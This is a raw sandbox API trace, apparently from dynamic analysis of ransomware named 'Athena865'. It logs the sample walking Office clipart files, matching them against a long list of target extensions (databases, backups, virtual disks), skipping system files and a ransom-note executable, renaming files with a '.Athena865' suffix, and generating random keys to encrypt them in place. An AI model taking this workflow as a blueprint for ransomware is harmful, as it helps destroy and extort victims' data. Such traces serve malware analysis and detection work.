lstrlenW (lpString="ns3") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="ns3") returned -1 [0132.645] lstrlenW (lpString="ns4") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="ns4") returned -1 [0132.645] lstrlenW (lpString="nsf") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="nsf") returned -1 [0132.645] lstrlenW (lpString="nv") returned 2 [0132.645] lstrcmpiW (lpString1="ID", lpString2="nv") returned -1 [0132.645] lstrlenW (lpString="nv2") returned 3 [0132.645] lstrcmpiW (lpString1="MID", lpString2="nv2") returned -1 [0132.645] lstrlenW (lpString="nwdb") returned 4 [0132.645] lstrcmpiW (lpString1=".MID", lpString2="nwdb") returned -1 [0132.646] lstrlenW (lpString="nyf") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="nyf") returned -1 [0132.646] lstrlenW (lpString="odb") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="odb") returned -1 [0132.646] lstrlenW (lpString="odb") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="odb") returned -1 [0132.646] lstrlenW (lpString="oqy") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="oqy") returned -1 [0132.646] lstrlenW (lpString="ora") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="ora") returned -1 [0132.646] lstrlenW (lpString="orx") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="orx") returned -1 [0132.646] lstrlenW (lpString="owc") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="owc") returned -1 [0132.646] lstrlenW (lpString="p96") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="p96") returned -1 [0132.646] lstrlenW (lpString="p97") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="p97") returned -1 [0132.646] lstrlenW (lpString="pan") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="pan") returned -1 [0132.646] lstrlenW (lpString="pdb") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="pdb") returned -1 [0132.646] lstrlenW (lpString="pdm") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="pdm") returned -1 [0132.646] lstrlenW (lpString="pnz") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="pnz") returned -1 [0132.646] lstrlenW (lpString="qry") returned 3 [0132.646] lstrcmpiW (lpString1="MID", lpString2="qry") returned -1 [0132.647] lstrlenW (lpString="qvd") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="qvd") returned -1 [0132.647] lstrlenW (lpString="rbf") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="rbf") returned -1 [0132.647] lstrlenW (lpString="rctd") returned 4 [0132.647] lstrcmpiW (lpString1=".MID", lpString2="rctd") returned -1 [0132.647] lstrlenW (lpString="rod") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="rod") returned -1 [0132.647] lstrlenW (lpString="rodx") returned 4 [0132.647] lstrcmpiW (lpString1=".MID", lpString2="rodx") returned -1 [0132.647] lstrlenW (lpString="rpd") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="rpd") returned -1 [0132.647] lstrlenW (lpString="rsd") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="rsd") returned -1 [0132.647] lstrlenW (lpString="sas7bdat") returned 8 [0132.647] lstrcmpiW (lpString1="T_07.MID", lpString2="sas7bdat") returned 1 [0132.647] lstrlenW (lpString="sbf") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="sbf") returned -1 [0132.647] lstrlenW (lpString="scx") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="scx") returned -1 [0132.647] lstrlenW (lpString="sdb") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="sdb") returned -1 [0132.647] lstrlenW (lpString="sdc") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="sdc") returned -1 [0132.647] lstrlenW (lpString="sdf") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="sdf") returned -1 [0132.647] lstrlenW (lpString="sis") returned 3 [0132.647] lstrcmpiW (lpString1="MID", lpString2="sis") returned -1 [0132.648] lstrlenW (lpString="spq") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="spq") returned -1 [0132.648] lstrlenW (lpString="te") returned 2 [0132.648] lstrcmpiW (lpString1="ID", lpString2="te") returned -1 [0132.648] lstrlenW (lpString="teacher") returned 7 [0132.648] lstrcmpiW (lpString1="_07.MID", lpString2="teacher") returned -1 [0132.648] lstrlenW (lpString="tmd") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="tmd") returned -1 [0132.648] lstrlenW (lpString="tps") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="tps") returned -1 [0132.648] lstrlenW (lpString="trc") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="trc") returned -1 [0132.648] lstrlenW (lpString="trc") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="trc") returned -1 [0132.648] lstrlenW (lpString="trm") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="trm") returned -1 [0132.648] lstrlenW (lpString="udb") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="udb") returned -1 [0132.648] lstrlenW (lpString="udl") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="udl") returned -1 [0132.648] lstrlenW (lpString="usr") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="usr") returned -1 [0132.648] lstrlenW (lpString="v12") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="v12") returned -1 [0132.648] lstrlenW (lpString="vis") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="vis") returned -1 [0132.648] lstrlenW (lpString="vpd") returned 3 [0132.648] lstrcmpiW (lpString1="MID", lpString2="vpd") returned -1 [0132.648] lstrlenW (lpString="vvv") returned 3 [0132.649] lstrcmpiW (lpString1="MID", lpString2="vvv") returned -1 [0132.649] lstrlenW (lpString="wdb") returned 3 [0132.649] lstrcmpiW (lpString1="MID", lpString2="wdb") returned -1 [0132.649] lstrlenW (lpString="wmdb") returned 4 [0132.649] lstrcmpiW (lpString1=".MID", lpString2="wmdb") returned -1 [0132.649] lstrlenW (lpString="wrk") returned 3 [0132.649] lstrcmpiW (lpString1="MID", lpString2="wrk") returned -1 [0132.649] lstrlenW (lpString="xdb") returned 3 [0132.649] lstrcmpiW (lpString1="MID", lpString2="xdb") returned -1 [0132.649] lstrlenW (lpString="xld") returned 3 [0132.649] lstrcmpiW (lpString1="MID", lpString2="xld") returned -1 [0132.649] lstrlenW (lpString="xmlff") returned 5 [0132.649] lstrcmpiW (lpString1="7.MID", lpString2="xmlff") returned -1 [0132.649] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.Athena865") returned 73 [0132.649] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.athena865"), dwFlags=0x1) returned 1 [0132.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.650] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6564) returned 1 [0132.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.651] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.652] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.652] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.652] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1cb0, lpName=0x0) returned 0x154 [0132.653] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1cb0) returned 0x100000 [0132.654] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.655] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.655] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.655] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.656] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.656] CloseHandle (hObject=0x154) returned 1 [0132.656] CloseHandle (hObject=0x17c) returned 1 [0132.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.656] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.656] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2=".") returned 1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="..") returned 1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="windows") returned -1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="bootmgr") returned 1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="temp") returned -1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="pagefile.sys") returned 1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="boot") returned 1 [0132.656] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="ids.txt") returned 1 [0132.657] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="ntuser.dat") returned 1 [0132.657] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="perflogs") returned -1 [0132.657] lstrcmpiW (lpString1="PARNT_08.MID", lpString2="MSBuild") returned 1 [0132.657] lstrlenW (lpString="PARNT_08.MID") returned 12 [0132.657] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_08.MID" | out: lpString1="PARNT_08.MID") returned="PARNT_08.MID" [0132.657] lstrlenW (lpString="PARNT_08.MID") returned 12 [0132.657] lstrlenW (lpString="Athena865") returned 9 [0132.657] lstrcmpiW (lpString1="NT_08.MID", lpString2="Athena865") returned 1 [0132.657] lstrlenW (lpString=".dll") returned 4 [0132.657] lstrcmpiW (lpString1="PARNT_08.MID", lpString2=".dll") returned 1 [0132.657] lstrlenW (lpString=".lnk") returned 4 [0132.657] lstrcmpiW (lpString1="PARNT_08.MID", lpString2=".lnk") returned 1 [0132.657] lstrlenW (lpString=".ini") returned 4 [0132.657] lstrcmpiW (lpString1="PARNT_08.MID", lpString2=".ini") returned 1 [0132.657] lstrlenW (lpString=".sys") returned 4 [0132.657] lstrcmpiW (lpString1="PARNT_08.MID", lpString2=".sys") returned 1 [0132.657] lstrlenW (lpString="PARNT_08.MID") returned 12 [0132.657] lstrlenW (lpString="bak") returned 3 [0132.657] lstrcmpiW (lpString1="MID", lpString2="bak") returned 1 [0132.657] lstrlenW (lpString="ba_") returned 3 [0132.657] lstrcmpiW (lpString1="MID", lpString2="ba_") returned 1 [0132.657] lstrlenW (lpString="dbb") returned 3 [0132.657] lstrcmpiW (lpString1="MID", lpString2="dbb") returned 1 [0132.657] lstrlenW (lpString="vmdk") returned 4 [0132.657] lstrcmpiW (lpString1=".MID", lpString2="vmdk") returned -1 [0132.657] lstrlenW (lpString="rar") returned 3 [0132.657] lstrcmpiW (lpString1="MID", lpString2="rar") returned -1 [0132.657] lstrlenW (lpString="zip") returned 3 [0132.657] lstrcmpiW (lpString1="MID", lpString2="zip") returned -1 [0132.657] lstrlenW (lpString="tgz") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="tgz") returned -1 [0132.658] lstrlenW (lpString="vbox") returned 4 [0132.658] lstrcmpiW (lpString1=".MID", lpString2="vbox") returned -1 [0132.658] lstrlenW (lpString="vdi") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="vdi") returned -1 [0132.658] lstrlenW (lpString="vhd") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="vhd") returned -1 [0132.658] lstrlenW (lpString="vhdx") returned 4 [0132.658] lstrcmpiW (lpString1=".MID", lpString2="vhdx") returned -1 [0132.658] lstrlenW (lpString="avhd") returned 4 [0132.658] lstrcmpiW (lpString1=".MID", lpString2="avhd") returned -1 [0132.658] lstrlenW (lpString="db") returned 2 [0132.658] lstrcmpiW (lpString1="ID", lpString2="db") returned 1 [0132.658] lstrlenW (lpString="db2") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="db2") returned 1 [0132.658] lstrlenW (lpString="db3") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="db3") returned 1 [0132.658] lstrlenW (lpString="dbf") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="dbf") returned 1 [0132.658] lstrlenW (lpString="mdf") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="mdf") returned 1 [0132.658] lstrlenW (lpString="mdb") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="mdb") returned 1 [0132.658] lstrlenW (lpString="sql") returned 3 [0132.658] lstrcmpiW (lpString1="MID", lpString2="sql") returned -1 [0132.658] lstrlenW (lpString="sqlite") returned 6 [0132.658] lstrcmpiW (lpString1="08.MID", lpString2="sqlite") returned -1 [0132.658] lstrlenW (lpString="sqlite3") returned 7 [0132.658] lstrcmpiW (lpString1="_08.MID", lpString2="sqlite3") returned -1 [0132.659] lstrlenW (lpString="sqlitedb") returned 8 [0132.659] lstrcmpiW (lpString1="T_08.MID", lpString2="sqlitedb") returned 1 [0132.659] lstrlenW (lpString="xml") returned 3 [0132.659] lstrcmpiW (lpString1="MID", lpString2="xml") returned -1 [0132.659] lstrlenW (lpString="$er") returned 3 [0132.659] lstrcmpiW (lpString1="MID", lpString2="$er") returned 1 [0132.659] lstrlenW (lpString="4dd") returned 3 [0132.659] lstrcmpiW (lpString1="MID", lpString2="4dd") returned 1 [0132.659] lstrlenW (lpString="4dl") returned 3 [0132.659] lstrcmpiW (lpString1="MID", lpString2="4dl") returned 1 [0132.659] lstrlenW (lpString="^^^") returned 3 [0132.659] lstrcmpiW (lpString1="MID", lpString2="^^^") returned 1 [0132.659] lstrlenW (lpString="abs") returned 3 [0132.659] lstrcmpiW (lpString1="MID", lpString2="abs") returned 1 [0132.659] lstrlenW (lpString="abx") returned 3 [0132.659] lstrcmpiW (lpString1="MID", lpString2="abx") returned 1 [0132.659] lstrlenW (lpString="accdb") returned 5 [0132.659] lstrcmpiW (lpString1="8.MID", lpString2="accdb") returned -1 [0132.659] lstrlenW (lpString="accdc") returned 5 [0132.659] lstrcmpiW (lpString1="8.MID", lpString2="accdc") returned -1 [0132.659] lstrlenW (lpString="accde") returned 5 [0132.659] lstrcmpiW (lpString1="8.MID", lpString2="accde") returned -1 [0132.659] lstrlenW (lpString="accdr") returned 5 [0132.659] lstrcmpiW (lpString1="8.MID", lpString2="accdr") returned -1 [0132.659] lstrlenW (lpString="accdt") returned 5 [0132.659] lstrcmpiW (lpString1="8.MID", lpString2="accdt") returned -1 [0132.659] lstrlenW (lpString="accdw") returned 5 [0132.659] lstrcmpiW (lpString1="8.MID", lpString2="accdw") returned -1 [0132.659] lstrlenW (lpString="accft") returned 5 [0132.660] lstrcmpiW (lpString1="8.MID", lpString2="accft") returned -1 [0132.660] lstrlenW (lpString="adb") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="adb") returned 1 [0132.660] lstrlenW (lpString="adb") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="adb") returned 1 [0132.660] lstrlenW (lpString="ade") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="ade") returned 1 [0132.660] lstrlenW (lpString="adf") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="adf") returned 1 [0132.660] lstrlenW (lpString="adn") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="adn") returned 1 [0132.660] lstrlenW (lpString="adp") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="adp") returned 1 [0132.660] lstrlenW (lpString="alf") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="alf") returned 1 [0132.660] lstrlenW (lpString="ask") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="ask") returned 1 [0132.660] lstrlenW (lpString="btr") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="btr") returned 1 [0132.660] lstrlenW (lpString="cat") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="cat") returned 1 [0132.660] lstrlenW (lpString="cdb") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="cdb") returned 1 [0132.660] lstrlenW (lpString="ckp") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="ckp") returned 1 [0132.660] lstrlenW (lpString="cma") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="cma") returned 1 [0132.660] lstrlenW (lpString="cpd") returned 3 [0132.660] lstrcmpiW (lpString1="MID", lpString2="cpd") returned 1 [0132.661] lstrlenW (lpString="dacpac") returned 6 [0132.661] lstrcmpiW (lpString1="08.MID", lpString2="dacpac") returned -1 [0132.661] lstrlenW (lpString="dad") returned 3 [0132.661] lstrcmpiW (lpString1="MID", lpString2="dad") returned 1 [0132.661] lstrlenW (lpString="dadiagrams") returned 10 [0132.661] lstrcmpiW (lpString1="RNT_08.MID", lpString2="dadiagrams") returned 1 [0132.661] lstrlenW (lpString="daschema") returned 8 [0132.661] lstrcmpiW (lpString1="T_08.MID", lpString2="daschema") returned 1 [0132.661] lstrlenW (lpString="db-journal") returned 10 [0132.661] lstrcmpiW (lpString1="RNT_08.MID", lpString2="db-journal") returned 1 [0132.661] lstrlenW (lpString="db-shm") returned 6 [0132.661] lstrcmpiW (lpString1="08.MID", lpString2="db-shm") returned -1 [0132.661] lstrlenW (lpString="db-wal") returned 6 [0132.661] lstrcmpiW (lpString1="08.MID", lpString2="db-wal") returned -1 [0132.661] lstrlenW (lpString="dbc") returned 3 [0132.661] lstrcmpiW (lpString1="MID", lpString2="dbc") returned 1 [0132.661] lstrlenW (lpString="dbs") returned 3 [0132.661] lstrcmpiW (lpString1="MID", lpString2="dbs") returned 1 [0132.661] lstrlenW (lpString="dbt") returned 3 [0132.661] lstrcmpiW (lpString1="MID", lpString2="dbt") returned 1 [0132.661] lstrlenW (lpString="dbv") returned 3 [0132.661] lstrcmpiW (lpString1="MID", lpString2="dbv") returned 1 [0132.661] lstrlenW (lpString="dbx") returned 3 [0132.661] lstrcmpiW (lpString1="MID", lpString2="dbx") returned 1 [0132.661] lstrlenW (lpString="dcb") returned 3 [0132.661] lstrcmpiW (lpString1="MID", lpString2="dcb") returned 1 [0132.661] lstrcmpiW (lpString1="MID", lpString2="dct") returned 1 [0132.662] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.Athena865") returned 73 [0132.662] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.athena865"), dwFlags=0x1) returned 1 [0132.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0132.663] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7347) returned 1 [0132.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0132.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0132.663] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0132.664] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0132.664] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0132.664] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.665] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fc0, lpName=0x0) returned 0x154 [0132.666] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fc0) returned 0x100000 [0132.667] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0132.667] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0132.668] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0132.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0132.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0132.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b340 [0132.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0132.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b340 | out: hHeap=0x4f0000) returned 1 [0132.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0132.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0132.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0132.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0132.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0132.668] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0132.668] CloseHandle (hObject=0x154) returned 1 [0132.668] CloseHandle (hObject=0x17c) returned 1 [0132.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0132.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0132.669] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0132.669] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2=".") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="..") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="windows") returned -1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="bootmgr") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="temp") returned -1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="pagefile.sys") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="boot") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="ids.txt") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="ntuser.dat") returned 1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="perflogs") returned -1 [0132.669] lstrcmpiW (lpString1="PARNT_09.MID", lpString2="MSBuild") returned 1 [0132.669] lstrlenW (lpString="PARNT_09.MID") returned 12 [0132.669] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PARNT_09.MID" | out: lpString1="PARNT_09.MID") returned="PARNT_09.MID" [0132.669] lstrlenW (lpString="PARNT_09.MID") returned 12 [0132.669] lstrlenW (lpString="Athena865") returned 9 [0132.669] lstrcmpiW (lpString1="NT_09.MID", lpString2="Athena865") returned 1 [0132.670] lstrlenW (lpString=".dll") returned 4 [0132.670] lstrcmpiW (lpString1="PARNT_09.MID", lpString2=".dll") returned 1 [0132.670] lstrlenW (lpString=".lnk") returned 4 [0132.670] lstrcmpiW (lpString1="PARNT_09.MID", lpString2=".lnk") returned 1 [0132.670] lstrlenW (lpString=".ini") returned 4 [0132.670] lstrcmpiW (lpString1="PARNT_09.MID", lpString2=".ini") returned 1 [0132.670] lstrlenW (lpString=".sys") returned 4 [0132.670] lstrcmpiW (lpString1="PARNT_09.MID", lpString2=".sys") returned 1 [0132.670] lstrlenW 